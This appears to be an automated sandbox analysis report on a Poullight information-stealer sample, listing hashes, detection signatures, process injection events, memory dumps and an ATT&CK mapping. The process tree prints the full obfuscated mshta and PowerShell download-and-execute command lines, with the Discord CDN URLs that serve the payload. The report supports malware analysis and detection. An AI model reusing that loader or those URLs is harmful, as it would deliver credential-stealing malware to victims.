poullight | 7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae

General

Target

eufive_20210816-144801.exe
Size

482KB
MD5

5ba895fb23729ffbb001e5dfe74aa132
SHA1

7a2b094329f369ff5a67971c3a71c46775e93000
SHA256

7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae
SHA512

34ad4a38eb4983018e1c626550378ef4622be2fb02b74d1bacf9155cc835fb838a092c53b5b46e1ee45eac4ba13e723e661bb5e969480a56d2839d14d79c8cde

Score

10^/10

poullight stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt

Signatures

Poullight
Poullight is an information stealer first seen in March 2020.
trojan stealer poullight

Poullight Stealer Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3292-147-0x0000000000400000-0x0000000000420000-memory.dmp	family_poullight
behavioral2/memory/3292-148-0x000000000041A94E-mapping.dmp	family_poullight
behavioral2/memory/3292-157-0x0000000005440000-0x000000000593E000-memory.dmp	family_poullight

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 1896 created 3292 1896 WerFault.exe aspnet_compiler.exe
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

11 2488 mshta.exe
15 2488 mshta.exe
17 2488 mshta.exe
18 2620 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2620 set thread context of 3292 2620 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1896 3292 WerFault.exe aspnet_compiler.exe

description	pid	process	target process
PID 1896 created 3292	1896	WerFault.exe	aspnet_compiler.exe

flow	pid	process
11	2488	mshta.exe
15	2488	mshta.exe
17	2488	mshta.exe
18	2620	powershell.exe

description	pid	process	target process
PID 2620 set thread context of 3292	2620	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
1896	3292	WerFault.exe	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeaspnet_compiler.exeWerFault.exe

pid	process
2620	powershell.exe
2620	powershell.exe
2620	powershell.exe
3292	aspnet_compiler.exe
3292	aspnet_compiler.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe
1896	WerFault.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeaspnet_compiler.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	3292	aspnet_compiler.exe
Token: SeRestorePrivilege	1896	WerFault.exe
Token: SeBackupPrivilege	1896	WerFault.exe
Token: SeDebugPrivilege	1896	WerFault.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

eufive_20210816-144801.exemshta.exepowershell.exe

description	pid	process	target process
PID 856 wrote to memory of 2488	856	eufive_20210816-144801.exe	mshta.exe
PID 856 wrote to memory of 2488	856	eufive_20210816-144801.exe	mshta.exe
PID 2488 wrote to memory of 2620	2488	mshta.exe	powershell.exe
PID 2488 wrote to memory of 2620	2488	mshta.exe	powershell.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe
PID 2620 wrote to memory of 3292	2620	powershell.exe	aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe
"C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875404916150116402/875405147503751198/Sekonds.txt
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3292 -s 1120
5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/856-114-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/2488-116-0x0000000000000000-mapping.dmp

Download
memory/2620-118-0x0000000000000000-mapping.dmp

Download
memory/2620-124-0x000001709F780000-0x000001709F781000-memory.dmp

Filesize
4KB

Download
memory/2620-127-0x000001709F930000-0x000001709F931000-memory.dmp

Filesize
4KB

Download
memory/2620-130-0x000001709EDB0000-0x000001709EDB2000-memory.dmp

Filesize
8KB

Download
memory/2620-131-0x000001709EDB3000-0x000001709EDB5000-memory.dmp

Filesize
8KB

Download
memory/2620-135-0x000001709EDB6000-0x000001709EDB8000-memory.dmp

Filesize
8KB

Download
memory/2620-146-0x000001709F8E0000-0x000001709F8EE000-memory.dmp

Filesize
56KB

Download
memory/3292-147-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3292-148-0x000000000041A94E-mapping.dmp

Download
memory/3292-154-0x0000000005940000-0x0000000005941000-memory.dmp

Filesize
4KB

Download
memory/3292-155-0x0000000005520000-0x0000000005521000-memory.dmp

Filesize
4KB

Download
memory/3292-156-0x0000000005510000-0x0000000005511000-memory.dmp

Filesize
4KB

Download
memory/3292-157-0x0000000005440000-0x000000000593E000-memory.dmp

Filesize
5.0MB

Download
memory/3292-158-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/3292-159-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/3292-160-0x0000000007490000-0x0000000007491000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads